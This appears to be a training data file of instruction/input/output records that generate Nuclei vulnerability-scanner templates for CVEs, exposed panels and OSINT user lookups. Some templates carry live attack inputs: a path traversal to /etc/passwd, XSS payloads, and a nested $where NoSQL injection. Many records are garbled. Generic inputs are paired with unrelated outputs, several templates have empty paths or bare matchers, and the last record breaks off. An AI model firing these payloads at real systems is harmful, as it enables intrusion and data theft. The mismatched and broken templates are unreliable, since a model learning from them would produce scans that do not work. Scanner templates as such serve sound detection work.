Instruction: Generate a Nuclei template for CVE-2010-1603

Input:
Title: Path Traversal in zimbllc com_zimbcore
Summary: Directory traversal vulnerability in the ZiMB Core (aka ZiMBCore or com_zimbcore) component 0.1 in the ZiMB Manager collection for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impact via a .. (dot dot) in the controller parameter to index.php.
Vulnerability Type: Path Traversal
Severity: high
Affected Products: zimbllc com_zimbcore
Indicators: error, vulnerability detected

Output:
id: CVE-2010-1603

info:
  name: Joomla! Component ZiMBCore 0.1 - Local File Inclusion
  author: daffainfo
  severity: high
  description: A directory traversal vulnerability in the ZiMB Core (aka ZiMBCore or com_zimbcore) component 0.1 in the ZiMB Manager collection for Joomla! allows remote attackers to read arbitrary files and possibly have unspecified other impacts via a .. (dot dot) in the controller parameter to index.php.
  tags: cve,cve2010,joomla,lfi,edb,zimbllc,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_zimbcore&controller=../../../../../../../../../../etc/passwd%00"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: kraken-cluster-monitoring

info:
  name: Kraken Cluster Monitoring Dashboard - Detect
  author: pussycat0x
  severity: info
  description: Kraken Cluster Monitoring Dashboard was detected.
  tags: panel,kraken,cluster,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Kraken dashboard"
          - "Kraken cluster monitoring"
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2022-28365

Input:
Title: Vulnerability (CWE-425) in reprisesoftware reprise_license_manager
Summary: Reprise License Manager 14.2 is affected by an Information Disclosure vulnerability via a GET request to /goforms/rlminfo. No authentication is required. The information disclosed is associated with software versions, process IDs, network configuration, hostname(s), system architecture, and file/directory details.
Vulnerability Type: Vulnerability (CWE-425)
Severity: medium
Affected Products: reprisesoftware reprise_license_manager
Indicators: error, vulnerability detected

Output:
id: CVE-2022-28365

info:
  name: Reprise License Manager 14.2 - Information Disclosure
  author: Akincibor
  severity: medium
  description: Reprise License Manager 14.2 is susceptible to information disclosure via a GET request to /goforms/rlminfo. No authentication is required. The information disclosed is associated with software versions, process IDs, network configuration, hostname(s), system architecture and file/directory information. An attacker can possibly obtain further sensitive information, modify data, and/or execute unauthorized operations.
  tags: cve,cve2022,rlm,packetstorm,exposure,reprisesoftware,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/goforms/rlminfo"
    matchers:
      - type: word
        words:
          - "RLM Version"
          - "Platform type"
        part: body
        condition: and
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-34751

Input:
Title: SQL Injection in bloofox bloofoxcms
Summary: bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the gid parameter at admin/index.php?mode=user&page=groups&action=edit.
Vulnerability Type: SQL Injection
Severity: critical
Affected Products: bloofox bloofoxcms
Indicators: error, vulnerability detected

Output:
id: CVE-2023-34751

info:
  name: bloofoxCMS v0.5.2.1 - SQL Injection
  author: theamanrawat
  severity: critical
  description: bloofox v0.5.2.1 was discovered to contain a SQL injection vulnerability via the gid parameter at admin/index.php?mode=user&page=groups&action=edit.
  tags: time-based-sqli,cve2023,cve,sqli,bloofox,authenticated,vuln

http:
  - method: GET
    path:
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: mastodon-climatejusticerocks

info:
  name: Mastodon-climatejustice.rocks User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Mastodon-climatejustice.rocks user name information check was conducted.
  tags: osint,osint-social,mastodon-climatejusticerocks,discovery

http:
  - method: GET
    path:
      - "https://climatejustice.rocks/@{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "@climatejustice.rocks) - Mastodon</title>"
        part: body


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: manageengine-servicedesk

info:
  name: ZOHO ManageEngine ServiceDesk Panel - Detect
  author: dhiyaneshDK,righettod
  severity: info
  description: ZOHO ManageEngine ServiceDesk panel was detected.
  tags: panel,zoho,manageengine,zohocorp,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>ManageEngine ServiceDesk Plus</title>"
          - "<title>ManageEngine ServiceDesk Plus - MSP</title>"
        condition: or
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Forgejo Installation Page - Exposure

Input:
Title: Forgejo Installation Page - Exposure
Summary: Forgejo Installation Page - Exposure. Checks for the presence of a Forgejo Installer Page.

Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: forgejo-installer

info:
  name: Forgejo Installation Page - Exposure
  author: DhiyaneshDk
  severity: high
  description: Checks for the presence of a Forgejo Installer Page.
  tags: install,Forgejo,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "<title>Installation - Forgejo: Beyond coding. We Forge.</title>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Content-Security-Policy Bypass - Wikipedia API

Input:
Title: Content-Security-Policy Bypass - Wikipedia API
Summary: Content-Security-Policy Bypass - Wikipedia API. Tags: xss, csp-bypass, wikipedia-api
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: wikipedia-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Wikipedia API
  author: renniepak,DhiyaneshDK
  severity: medium
  description: Content-Security-Policy Bypass - Wikipedia API
  tags: xss,csp-bypass,wikipedia-api,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Content-Security-Policy"
          - "wikipedia.org"
        part: header
        condition: and


Instruction: Generate a Nuclei template to detect Cross-site Scripting

Input:
Title: Cross-site Scripting (CWE-79)
Summary: The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. There are many variants of cross-site scripting, characterized by a variety of terms or involving different attack topologies. However, they all indicate the same fundamental weakness: improper neutralization of dangerous input between the adversary and a victim.
Vulnerability Type: Cross-site Scripting
Severity: high
Indicators: vulnerability detected, error

Output:
id: mcms-search-xss

info:
  name: Mingsoft MCMS < 5.3.1 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: A vulnerability classified as problematic has been found in Mingsoft MCMS up to 5.3.1. This affects an unknown part of the file search.do of the component HTTP POST Request Handler.
  tags: mingsoft,mcms,xss,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "mingsoft.net"
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "><sVg/Onload=alert`document.domain`>"
        part: body
      - type: word
        words:
          - "text/html"
        part: content_type
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: MicroStrategy Instances Detection Template

Input:
Title: MicroStrategy Instances Detection Template
Summary: MicroStrategy Instances Detection Template. Detect if MicroStrategy instances exist in your URLS
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: microstrategy-detect

info:
  name: MicroStrategy Instances Detection Template
  author: philippedelteil,Retr02332
  severity: info
  description: Detect if MicroStrategy instances exist in your URLS
  tags: microstrategy,panel,tech,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/{{path}}"
    matchers:
      - type: dsl
        condition: or


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: aws-detect

info:
  name: AWS Service - Detect
  author: 6mile
  severity: info
  description: Detect if AWS is being used in the application.
  tags: tech,aws,amazon,alb,cloudfront,codebuild,gateway,xray,captcha,dynamodb,kms,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "X-Amz-Content-Sha256:"
          - "X-Amz-Date:"
          - "X-Amz-Version-Id:"
          - "X-Amz-Id-2:"
          - "X-Amz-Delete-Marker:"
        part: header
        condition: or
      - type: word
        words:
          - "Server: awselb/2.0"
          - "Set-Cookie: AWSALB="
          - "Set-Cookie: AWSALBCORS="
        part: header
        condition: or
      - type: word
        words:
          - "X-Amz-Cf-Id:"
          - "X-Amz-Cf-Pop:"
        part: header
        condition: or
      - type: dsl
        condition: or
      - type: word
        words:
          - "arn: arn:aws:codebuild"
          - "X-Amz-Meta-Codebuild-Buildarn:"
          - "X-Amz-Meta-Codebuild-Content-Sha256:"
          - "X-Amz-Meta-Codebuild-Content-Md5:"
        part: header
        condition: or
      - type: word
        words:
          - "X-Amz-Apigw-Id:"
          - "X-Amzn-Requestid:"
          - "X-Amzn-Errortype: MissingAuthenticationTokenException"
          - "X-Amzn-Remapped-Connection:"
          - "X-Amzn-Remapped-Content-Length:"
          - "X-Amzn-Remapped-Date:"
        part: header
        condition: or
      - type: word
        words:
          - "X-Amz-Server-Side-Encryption:"
        part: header
        condition: or
      - type: word
        words:
          - "X-Amzn-Trace-Id:"
        part: header
        condition: or
      - type: word
        words:
          - "X-Amzn-Waf-Action:"
        part: header
        condition: or
      - type: word
        words:
          - "X-Amz-Crc32:"
          - "X-Amz-Target:"
        part: header
        condition: or


Instruction: Generate a Nuclei template for: Content-Security-Policy Bypass - Baidu Map API

Input:
Title: Content-Security-Policy Bypass - Baidu Map API
Summary: Content-Security-Policy Bypass - Baidu Map API. Tags: xss, csp-bypass, baidu-map-api
Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: baidu-map-api-csp-bypass

info:
  name: Content-Security-Policy Bypass - Baidu Map API
  author: renniepak,DhiyaneshDK
  severity: medium
  description: Content-Security-Policy Bypass - Baidu Map API
  tags: xss,csp-bypass,baidu-map-api,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}"
    matchers:
      - type: word
        words:
          - "Content-Security-Policy"
          - "baidu.com"
        part: header
        condition: and


Instruction: Generate a Nuclei template for CVE-2023-22480

Input:
Title: Vulnerability (CWE-285) in fit2cloud kubeoperator
Summary: KubeOperator is an open source Kubernetes distribution focused on helping enterprises plan, deploy and operate production-level K8s clusters. In KubeOperator versions 3.16.3 and below, API interfaces with unauthorized entities and can leak sensitive information. This vulnerability could be used to take over the cluster under certain conditions. This issue has been patched in version 3.16.4.

Vulnerability Type: Vulnerability (CWE-285)
Severity: high
Affected Products: fit2cloud kubeoperator
Indicators: unauthorized

Output:
id: CVE-2023-22480

info:
  name: KubeOperator Foreground `kubeconfig` - File Download
  author: DhiyaneshDk
  severity: critical
  description: KubeOperator is an open source Kubernetes distribution focused on helping enterprises plan, deploy and operate production-level K8s clusters. In KubeOperator versions 3.16.3 and below, API interfaces with unauthorized entities and can leak sensitive information. This vulnerability could be used to take over the cluster under certain conditions. This issue has been patched in version 3.16.4.
  tags: cve2023,cve,kubeoperator,k8s,kubeconfig,exposure,fit2cloud,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/api/v1/clusters/kubeconfig/k8s"
    matchers:
      - type: word
        words:
          - "apiVersion:"
          - "clusters:"
        part: body
        condition: and
      - type: word
        words:
          - "application/download"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2025-23061

Input:
Title: Code Injection in mongoosejs mongoose
Summary: Mongoose before 8.9.5 can improperly use a nested $where filter with a populate() match, leading to search injection. NOTE: this issue exists because of an incomplete fix for CVE-2024-53900.
Vulnerability Type: Code Injection
Severity: critical
Affected Products: mongoosejs mongoose
Indicators: error, vulnerability detected

Output:
id: CVE-2025-23061

info:
  name: Mongoose - NoSQL Injection
  author: NamhyunKo
  severity: critical
  description: NoSQL injection vulnerability in Mongoose < 8.9.5 affecting the populate() function's match option. This vulnerability exists due to an incomplete fix for CVE-2024-53900. While direct $where injection is blocked, attackers can bypass this protection by nesting $where operators within logical operators like $and, allowing execution of arbitrary JavaScript code on MongoDB server, bypassing authentication, and accessing sensitive administrative data.
  tags: cve,cve2025,nosql,mongoose,nodejs,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/posts?authorMatch={"$and":[{"$where":"this.isAdmin"}]}"
    matchers:
      - type: word
        words:
          - ""isAdmin":true"
          - ""title":"
          - ""username":"
        part: body
        condition: and
      - type: word
        words:
          - "application/json"
        part: content_type
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: teampass-panel

info:
  name: TeamPass Panel - Detect
  author: arafatansari
  severity: info
  description: TeamPass panel was detected.
  tags: panel,teampass,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/teampass"
    matchers:
      - type: regex
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2018-1000130

Input:
Title: Vulnerability (CWE-74) in jolokia webarchive_agent
Summary: A JNDI Injection vulnerability exists in Jolokia agent version 1.3.7 in the proxy mode that allows a remote attacker to run arbitrary Java code on the server.
Vulnerability Type: Vulnerability (CWE-74)
Severity: high
Affected Products: jolokia webarchive_agent
Indicators: error, vulnerability detected

Output:
id: CVE-2018-1000130

info:
  name: Jolokia Agent - JNDI Code Injection
  author: milo2012
  severity: high
  description: Jolokia agent is vulnerable to a JNDI injection vulnerability that allows a remote attacker to run arbitrary Java code on the server when the agent is in proxy mode.
  tags: cve2018,cve,jolokia,rce,jndi,proxy,vkev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "Failed to retrieve RMIServer stub: javax.naming.CommunicationException: 127.0.0.1:1389"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: mod-db

info:
  name: Mod DB User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Mod DB user name information check was conducted.
  tags: osint,osint-gaming,mod-db,discovery

http:
  - method: GET
    path:
      - "https://www.moddb.com/members/{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "joined <time"
        part: body


Instruction: Generate a Nuclei template to detect Path Traversal

Input:
Title: Path Traversal (CWE-22)
Summary: The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. Many file operations are intended to take place within a restricted directory. By using special elements such as ".." and "/" separators, attackers can escap
Vulnerability Type: Path Traversal
Severity: high
Indicators: unexpected

Output:
id: ecology-filedownload-directory-traversal

info:
  name: Ecology - Local File Inclusion
  author: princechaddha
  severity: high
  description: Ecology is vulnerable to local file inclusion.
  tags: ecology,lfi,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/weaver/ln.FileDownload?fpath=../ecology/WEB-INF/web.xml"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "<url-pattern>/weaver/"
        part: body


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: rsi

info:
  name: Rsi User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Rsi user name information check was conducted.
  tags: osint,osint-gaming,rsi,discovery

http:
  - method: GET
    path:
      - "https://robertsspaceindustries.com/citizens/{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "CITIZEN DOSSIER"
        part: body


Instruction: Generate a Nuclei template for: DWR detect test page detection

Input:
Title: DWR detect test page detection
Summary: DWR detect test page detection. The index contains the list of exposed Java classes. From here one can navigate to the test page of each class where every callable method is described and can be easily tested. This is a great way to find out what methods are exposed and learn how they function.
Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: dwr-index-detect

info:
  name: DWR detect test page detection
  author: pussycat0x
  severity: low
  description: The index contains the list of exposed Java classes. From here one can navigate to the test page of each class where every callable method is described and can be easily tested. This is a great way to find out what methods are exposed and learn how they function.
  tags: tech,misconfig,dwr,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/dwr/index.html"
    matchers:
      - type: word
        words:
          - "<title>DWR Test Index</title>"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Enforce Apache2 ServerTokens Prod

Input:
Title: Enforce Apache2 ServerTokens Prod
Summary: Enforce Apache2 ServerTokens Prod. ServerTokens should be set to 'Prod' to prevent Apache from exposing version details in response headers.

Vulnerability Type: Security Check
Severity: medium
Indicators: vulnerability detected

Output:
id: file-enforce-server-tokens-prod

info:
  name: Enforce Apache2 ServerTokens Prod
  author: pussycat0x
  severity: medium
  description: ServerTokens should be set to 'Prod' to prevent Apache from exposing version details in response headers.
  tags: audit,config,file,apache,hardening

http:
  - method: GET
    path:
      - "/"
    matchers:
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Web Transfer Client Login Panel - Detect

Input:
Title: Web Transfer Client Login Panel - Detect
Summary: Web Transfer Client Login Panel - Detect. Progress Web Transfer Client login panel was detected.
Vulnerability Type: Security Check
Severity: info
Indicators: vulnerability detected

Output:
id: webtransfer-client-panel

info:
  name: Web Transfer Client Login Panel - Detect
  author: righettod
  severity: info
  description: Progress Web Transfer Client login panel was detected.
  tags: panel,webtransferclient,login,detect,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}/ThinClient/WTM/public/index.html"
    matchers:
      - type: dsl
        condition: and


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: officekeeper-admin-login

info:
  name: OfficeKeeper Admin Login Panel - Detect
  author: gy741
  severity: info
  description: OfficeKeeper admin login panel was detected.
  tags: officekeeper,dlp,panel,discovery

http:
  - method: GET
    path:
      - "{{BaseURL}}"
      - "{{BaseURL}}/login"
    matchers:
      - type: word
        words:
          - "통합PC보안이 가능한 정보유출방지 솔루션"
        part: body


Instruction: Generate a Nuclei template for: service.pwd - Sensitive Information Disclosure

Input:
Title: service.pwd - Sensitive Information Disclosure
Summary: service.pwd - Sensitive Information Disclosure. service.pwd was discovered, which is likely to contain sensitive information.
Vulnerability Type: Security Check
Severity: high
Indicators: vulnerability detected

Output:
id: service-pwd

info:
  name: service.pwd - Sensitive Information Disclosure
  author: pussycat0x
  severity: high
  description: service.pwd was discovered, which is likely to contain sensitive information.
  tags: exposure,listing,service,edb,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/_vti_pvt/service.pwd"
    matchers:
      - type: word
        words:
          - "# -FrontPage-"
        part: body
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: xbox-gamertag

info:
  name: Xbox Gamertag User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Xbox Gamertag user name information check was conducted.
  tags: osint,osint-gaming,xbox-gamertag,discovery

http:
  - method: GET
    path:
      - "https://www.xboxgamertag.com/search/{{user}}"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "Games Played"
        part: body


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: salesforce-credentials

info:
  name: Salesforce Credentials - Detect
  author: geeknik
  severity: high
  description: Salesforce credentials information was detected.
  tags: exposure,files,salesforce,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/js/salesforce.js"
      - "{{BaseURL}}/salesforce.js"
    matchers:
      - type: word
        words:
          - "jsforce.Connection"
          - "conn.login"
          - "conn.query"
        condition: and
      - type: word
        words:
          - "text/plain"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2020-19515

Input:
Title: Cross-Site Scripting (XSS) in qdpm qdpm
Summary: qdPM V9.1 is vulnerable to Cross Site Scripting (XSS) via qdPM\install\modules\database_config.php.
Vulnerability Type: Cross-Site Scripting (XSS)
Severity: medium
Affected Products: qdpm qdpm
Indicators: error, vulnerability detected

Output:
id: CVE-2020-19515

info:
  name: qdPM 9.1 - Cross-site Scripting
  author: theamanrawat
  severity: medium
  description: qdPM V9.1 is vulnerable to Cross Site Scripting (XSS) via qdPM\install\modules\database_config.php.
  tags: cve2020,cve,xss,qdpm,unauth,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/install/index.php?step=database_config&db_error=<img%20src=x%20onerror=alert(document.domain)%20/>"
    matchers:
      - type: word
        words:
          - "<img src=x onerror=alert(document.domain) />"
          - "qdPM"
        part: body
        condition: and
      - type: word
        words:
          - "text/html"
        part: header
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for: Visual Studio Code launch.json Exposure

Input:
Title: Visual Studio Code launch.json Exposure
Summary: Visual Studio Code launch.json Exposure. The .vscode/launch.json file, used by Visual Studio Code for debugging configurations, is publicly accessible. This file often contains sensitive information such as local file paths, runtime arguments, environment variables, and sometimes hardcoded credentials or access tokens.

Vulnerability Type: Security Check
Severity: low
Indicators: vulnerability detected

Output:
id: vscode-launch

info:
  name: Visual Studio Code launch.json Exposure
  author: DhiyaneshDK
  severity: low
  description: The .vscode/launch.json file, used by Visual Studio Code for debugging configurations, is publicly accessible. This file often contains sensitive information such as local file paths, runtime arguments, environment variables, and sometimes hardcoded credentials or access tokens.
  tags: vscode,files,debug,exposure,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/.vscode/launch.json"
    matchers:
      - type: word
        words:
          - ""version":"
          - ""configurations":"
        part: body
        condition: and
      - type: word
        words:
          - "application/json"
        part: content_type
      - type: status
        status:
          - 200


Instruction: Generate a Nuclei template for CVE-2023-39110

Input:
Title: Vulnerability (CWE-918) in rconfig rconfig
Summary: rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path parameter at /ajaxGetFileByPath.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.
Vulnerability Type: Vulnerability (CWE-918)
Severity: high
Affected Products: rconfig rconfig
Indicators: error, vulnerability detected

Output:
id: CVE-2023-39110

info:
  name: rConfig 3.9.4 - Server-Side Request Forgery
  author: theamanrawat
  severity: high
  description: rconfig v3.9.4 was discovered to contain a Server-Side Request Forgery (SSRF) via the path parameter at /ajaxGetFileByPath.php. This vulnerability allows authenticated attackers to make arbitrary requests via injection of crafted URLs.
  tags: cve2023,cve,rconfig,authenticated,ssrf,lfr,vuln

http:
  - method: GET
    path:
    matchers:
      - type: regex
        part: body_3
      - type: word
        words:
          - "rConfig"
        part: body_1
      - type: status
        status:
          - 200
        part: header_3


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: pinterest

info:
  name: Pinterest User Name Information - Detect
  author: dwisiswant0
  severity: info
  description: Pinterest user name information check was conducted.
  tags: osint,osint-social,pinterest,discovery

http:
  - method: GET
    path:
      - "https://www.pinterest.com/{{user}}/"
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - " - Profile | Pinterest"
        part: body


Instruction: Generate a Nuclei template for CVE-2021-44228

Input:
Title: Vulnerability (CWE-20) in siemens 6bk1602-0aa12-0tp0_firmware and others
Summary: Apache Log4j2 2.0-beta9 through 2.15.0 (excluding security releases 2.12.2, 2.12.3, and 2.3.1) JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. From log4j 2.15.0, this behavior has been disabled by default. From version 2.16.0 (along with 2.12.2, 2.12.3, and 2.3.1), this functionality has been completely removed. Note that this vulnerability is specific to log4j-core and does not affect log4net, log4cxx, or other Apache Logging Services projects.
Vulnerability Type: Vulnerability (CWE-20)
Severity: critical
Affected Products: siemens 6bk1602-0aa12-0tp0_firmware, siemens 6bk1602-0aa22-0tp0_firmware, siemens 6bk1602-0aa32-0tp0_firmware
Indicators: error, vulnerability detected

Output:
id: okta-log4j-rce

info:
  name: Okta - Remote Code Execution (Apache Log4j)
  author: shaikhyaser
  severity: critical
  description: Okta is susceptible to Log4j JNDI remote code execution. Okta provides cloud software that helps companies manage and secure user authentication into applications, and for developers to build identity controls into applications, website web services and devices.
  tags: cve,cve2021,rce,jndi,log4j,okta,oast,kev,vuln

http:
  - method: GET
    path:
    matchers:
      - type: word
        words:
          - "dns"
        part: interactsh_protocol
      - type: regex
        part: interactsh_request


Instruction: Generate a Nuclei template to detect Exposure of Sensitive Information to an Unauthorized Actor

Input:
Title: Exposure of Sensitive Information to an Unauthorized Actor (CWE-200)
Summary: The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information. There are many different kinds of mistakes that introduce information exposures. The severity of the error can range widely, depending on the context in which the product operates, the type of sensitive information that is revealed, and the benefits it may provide to an attacker.  Some kinds of sensitive information include:
        private, personal information, such as p
Vulnerability Type: Exposure of Sensitive Information to an Unauthorized Actor
Severity: medium
Indicators: error, unauthorized

Output:
id: connectwise-panel

info:
  name: ConnectWise Control Remote Support Software Panel - Detect
  author: johnk3r
  severity: info
  description: ConnectWise Control Remote Support Software Panel - Detect
  tags: screenconnect,panel,connectwise,detect,discovery

http:
  - method: GET
